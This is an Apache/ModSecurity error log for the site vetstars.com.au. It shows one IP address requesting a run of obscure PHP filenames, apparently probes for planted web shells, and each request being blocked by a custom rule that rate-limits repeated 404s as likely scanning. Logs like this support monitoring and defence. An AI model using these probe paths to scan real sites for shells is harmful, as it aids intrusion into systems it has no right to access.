[Wed Apr 08 00:02:58.751318 2026] [:error] [pid 59804:tid 59830] [client 20.251.113.42:21646] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "adUqsnYVIXiPh5_eJTkPxwAAAhg"]
[Wed Apr 08 00:02:59.281507 2026] [:error] [pid 12948:tid 12952] [client 20.251.113.42:32914] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "adUqs8beSPAN8LvMqsbTHQAAAQE"]
[Wed Apr 08 00:02:59.831688 2026] [:error] [pid 37598:tid 37685] [client 20.251.113.42:19824] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ukaa.php"] [unique_id "adUqs-9g7q_cV2WhPazqTgAAAJg"]
[Wed Apr 08 00:03:00.372343 2026] [:error] [pid 37598:tid 37670] [client 20.251.113.42:29139] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ukaa.php"] [unique_id "adUqtO9g7q_cV2WhPazqTwAAAIk"]
[Wed Apr 08 00:03:00.898082 2026] [:error] [pid 59660:tid 59666] [client 20.251.113.42:44941] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ukaa.php"] [unique_id "adUqtDp3-oiX2o5bTswxwQAAAcQ"]
[Wed Apr 08 00:03:01.431397 2026] [:error] [pid 37596:tid 37629] [client 20.251.113.42:63320] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ukaa.php"] [unique_id "adUqtapaAOZHEjRWjP2yBAAAABc"]
[Wed Apr 08 00:03:01.959030 2026] [:error] [pid 37598:tid 37667] [client 20.251.113.42:21676] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xs.php"] [unique_id "adUqte9g7q_cV2WhPazqUwAAAIY"]
[Wed Apr 08 00:03:02.490569 2026] [:error] [pid 59804:tid 59819] [client 20.251.113.42:21688] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xs.php"] [unique_id "adUqtnYVIXiPh5_eJTkPyQAAAg0"]
[Wed Apr 08 00:03:03.034797 2026] [:error] [pid 59804:tid 59810] [client 20.251.113.42:35227] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xs.php"] [unique_id "adUqt3YVIXiPh5_eJTkPzAAAAgQ"]
[Wed Apr 08 00:03:03.562449 2026] [:error] [pid 59804:tid 59806] [client 20.251.113.42:13825] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xs.php"] [unique_id "adUqt3YVIXiPh5_eJTkP0QAAAgA"]
[Wed Apr 08 00:03:49.991999 2026] [:error] [pid 59551:tid 59571] [client 20.251.113.42:26774] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "adUq5V7LN7Ubyqs-sVtI2QAAAZI"]
[Wed Apr 08 00:03:50.785998 2026] [:error] [pid 37597:tid 37653] [client 20.251.113.42:25334] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "adUq5g6uAY0QAy-8EELmKgAAAFM"]
[Wed Apr 08 00:03:51.428279 2026] [:error] [pid 37596:tid 37618] [client 20.251.113.42:4205] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "adUq56paAOZHEjRWjP2yRAAAAAw"]
[Wed Apr 08 00:03:52.090467 2026] [:error] [pid 59804:tid 59811] [client 20.251.113.42:50346] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/saorix1.php"] [unique_id "adUq6HYVIXiPh5_eJTkQJQAAAgU"]
[Wed Apr 08 00:03:52.691772 2026] [:error] [pid 37598:tid 37671] [client 20.251.113.42:8968] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kolda.php"] [unique_id "adUq6O9g7q_cV2WhPazqmgAAAIo"]
[Wed Apr 08 00:03:53.252175 2026] [:error] [pid 37719:tid 37740] [client 20.251.113.42:55589] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kolda.php"] [unique_id "adUq6U09Xv52u2xXGLBuBAAAANI"]
[Wed Apr 08 00:03:53.898450 2026] [:error] [pid 37597:tid 37642] [client 20.251.113.42:30105] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kolda.php"] [unique_id "adUq6Q6uAY0QAy-8EELmLwAAAEg"]
[Wed Apr 08 00:03:54.499416 2026] [:error] [pid 37597:tid 37651] [client 20.251.113.42:45960] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kolda.php"] [unique_id "adUq6g6uAY0QAy-8EELmMQAAAFE"]
[Wed Apr 08 00:03:55.252753 2026] [:error] [pid 37597:tid 37647] [client 20.251.113.42:4496] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yussef.php"] [unique_id "adUq6w6uAY0QAy-8EELmNAAAAE0"]
[Wed Apr 08 00:03:55.959124 2026] [:error] [pid 37597:tid 37650] [client 20.251.113.42:24242] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yussef.php"] [unique_id "adUq6w6uAY0QAy-8EELmOAAAAFA"]
[Wed Apr 08 00:03:56.617859 2026] [:error] [pid 59804:tid 59821] [client 20.251.113.42:45529] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yussef.php"] [unique_id "adUq7HYVIXiPh5_eJTkQMgAAAg8"]
[Wed Apr 08 00:03:57.232846 2026] [:error] [pid 59490:tid 59515] [client 20.251.113.42:27679] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yussef.php"] [unique_id "adUq7Ucw8OFbiUZ7Rx2C2QAAAVc"]
[Wed Apr 08 00:03:57.904252 2026] [:error] [pid 59804:tid 59810] [client 20.251.113.42:50333] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ay.php"] [unique_id "adUq7XYVIXiPh5_eJTkQNgAAAgQ"]
[Wed Apr 08 00:03:58.517564 2026] [:error] [pid 37719:tid 37731] [client 20.251.113.42:50350] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ay.php"] [unique_id "adUq7k09Xv52u2xXGLBuDgAAAMk"]
[Wed Apr 08 00:03:59.153321 2026] [:error] [pid 37597:tid 37646] [client 20.251.113.42:30101] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ay.php"] [unique_id "adUq7w6uAY0QAy-8EELmQAAAAEw"]
[Wed Apr 08 00:03:59.679957 2026] [:error] [pid 37597:tid 37650] [client 20.251.113.42:4611] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ay.php"] [unique_id "adUq7w6uAY0QAy-8EELmRAAAAFA"]
[Wed Apr 08 00:04:00.363115 2026] [:error] [pid 59490:tid 59494] [client 20.251.113.42:35881] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "adUq8Ecw8OFbiUZ7Rx2C3AAAAUI"]
[Wed Apr 08 00:04:00.904045 2026] [:error] [pid 59804:tid 59817] [client 20.251.113.42:15820] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "adUq8HYVIXiPh5_eJTkQOAAAAgs"]
[Wed Apr 08 00:04:01.549433 2026] [:error] [pid 37597:tid 37635] [client 20.251.113.42:15826] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "adUq8Q6uAY0QAy-8EELmSwAAAEE"]
[Wed Apr 08 00:04:02.126317 2026] [:error] [pid 37597:tid 37647] [client 20.251.113.42:11318] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/12.php"] [unique_id "adUq8g6uAY0QAy-8EELmTwAAAE0"]
[Wed Apr 08 00:04:02.655056 2026] [:error] [pid 59804:tid 59822] [client 20.251.113.42:27674] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/btx25.php"] [unique_id "adUq8nYVIXiPh5_eJTkQPAAAAhA"]
[Wed Apr 08 00:04:03.235871 2026] [:error] [pid 59490:tid 59497] [client 20.251.113.42:10059] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/btx25.php"] [unique_id "adUq80cw8OFbiUZ7Rx2C4QAAAUU"]
[Wed Apr 08 00:04:03.800274 2026] [:error] [pid 37597:tid 37644] [client 20.251.113.42:17899] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/btx25.php"] [unique_id "adUq8w6uAY0QAy-8EELmUgAAAEo"]
[Wed Apr 08 00:04:04.358799 2026] [:error] [pid 37597:tid 37642] [client 20.251.113.42:45564] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/btx25.php"] [unique_id "adUq9A6uAY0QAy-8EELmVwAAAEg"]
[Wed Apr 08 00:04:04.956710 2026] [:error] [pid 59804:tid 59823] [client 20.251.113.42:45555] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x123x.php"] [unique_id "adUq9HYVIXiPh5_eJTkQRgAAAhE"]
[Wed Apr 08 00:04:05.541542 2026] [:error] [pid 59804:tid 59828] [client 20.251.113.42:35899] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x123x.php"] [unique_id "adUq9XYVIXiPh5_eJTkQSQAAAhY"]
[Wed Apr 08 00:04:06.120387 2026] [:error] [pid 59804:tid 59819] [client 20.251.113.42:19319] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x123x.php"] [unique_id "adUq9nYVIXiPh5_eJTkQTgAAAg0"]
[Wed Apr 08 00:04:06.823987 2026] [:error] [pid 37597:tid 37648] [client 20.251.113.42:11311] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x123x.php"] [unique_id "adUq9g6uAY0QAy-8EELmYAAAAE4"]
[Wed Apr 08 00:04:07.402482 2026] [:error] [pid 59804:tid 59809] [client 20.251.113.42:30604] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/trx24.php"] [unique_id "adUq93YVIXiPh5_eJTkQVwAAAgM"]
[Wed Apr 08 00:04:07.931432 2026] [:error] [pid 59804:tid 59817] [client 20.251.113.42:58578] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/trx24.php"] [unique_id "adUq93YVIXiPh5_eJTkQWwAAAgs"]
[Wed Apr 08 00:04:08.495503 2026] [:error] [pid 37719:tid 37745] [client 20.251.113.42:12697] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/trx24.php"] [unique_id "adUq-E09Xv52u2xXGLBuFwAAANc"]
[Wed Apr 08 00:04:09.070137 2026] [:error] [pid 59804:tid 59809] [client 20.251.113.42:19277] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/trx24.php"] [unique_id "adUq-XYVIXiPh5_eJTkQYwAAAgM"]
[Wed Apr 08 00:04:09.685531 2026] [:error] [pid 59804:tid 59807] [client 20.251.113.42:30649] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "adUq-XYVIXiPh5_eJTkQZwAAAgE"]
[Wed Apr 08 00:04:10.271287 2026] [:error] [pid 59804:tid 59808] [client 20.251.113.42:34019] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "adUq-nYVIXiPh5_eJTkQawAAAgI"]
[Wed Apr 08 00:04:11.234427 2026] [:error] [pid 59804:tid 59817] [client 20.251.113.42:18743] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "adUq-3YVIXiPh5_eJTkQcQAAAgs"]
[Wed Apr 08 00:04:11.796898 2026] [:error] [pid 59804:tid 59820] [client 20.251.113.42:30629] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "adUq-3YVIXiPh5_eJTkQdQAAAg4"]
[Wed Apr 08 00:04:12.424643 2026] [:error] [pid 59804:tid 59808] [client 20.251.113.42:20283] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "adUq_HYVIXiPh5_eJTkQeAAAAgI"]
[Wed Apr 08 00:04:13.156692 2026] [:error] [pid 37719:tid 37740] [client 20.251.113.42:33554] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "adUq_U09Xv52u2xXGLBuHwAAANI"]
[Wed Apr 08 00:04:13.880436 2026] [:error] [pid 37719:tid 37727] [client 20.251.113.42:22214] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "adUq_U09Xv52u2xXGLBuJAAAAMU"]
[Wed Apr 08 00:04:14.516742 2026] [:error] [pid 59804:tid 59822] [client 20.251.113.42:4590] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "adUq_nYVIXiPh5_eJTkQggAAAhA"]
[Wed Apr 08 00:04:15.140443 2026] [:error] [pid 37597:tid 37634] [client 20.251.113.42:19309] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/less.php"] [unique_id "adUq_w6uAY0QAy-8EELmZQAAAEA"]
[Wed Apr 08 00:04:15.791457 2026] [:error] [pid 37598:tid 37678] [client 20.251.113.42:34031] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/less.php"] [unique_id "adUq_-9g7q_cV2WhPazqngAAAJE"]
[Wed Apr 08 00:04:16.423760 2026] [:error] [pid 59804:tid 59814] [client 20.251.113.42:5036] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/less.php"] [unique_id "adUrAHYVIXiPh5_eJTkQjwAAAgg"]
[Wed Apr 08 00:04:16.993450 2026] [:error] [pid 37719:tid 37726] [client 20.251.113.42:41654] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/less.php"] [unique_id "adUrAE09Xv52u2xXGLBuKwAAAMQ"]
[Wed Apr 08 00:04:17.599313 2026] [:error] [pid 37719:tid 37724] [client 20.251.113.42:29610] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "adUrAU09Xv52u2xXGLBuLQAAAMI"]
[Wed Apr 08 00:04:18.206909 2026] [:error] [pid 37719:tid 37744] [client 20.251.113.42:55629] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "adUrAk09Xv52u2xXGLBuMQAAANY"]
[Wed Apr 08 00:04:18.760660 2026] [:error] [pid 37719:tid 37730] [client 20.251.113.42:11365] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ss.php"] [unique_id "adUrAk09Xv52u2xXGLBuNQAAAMg"]
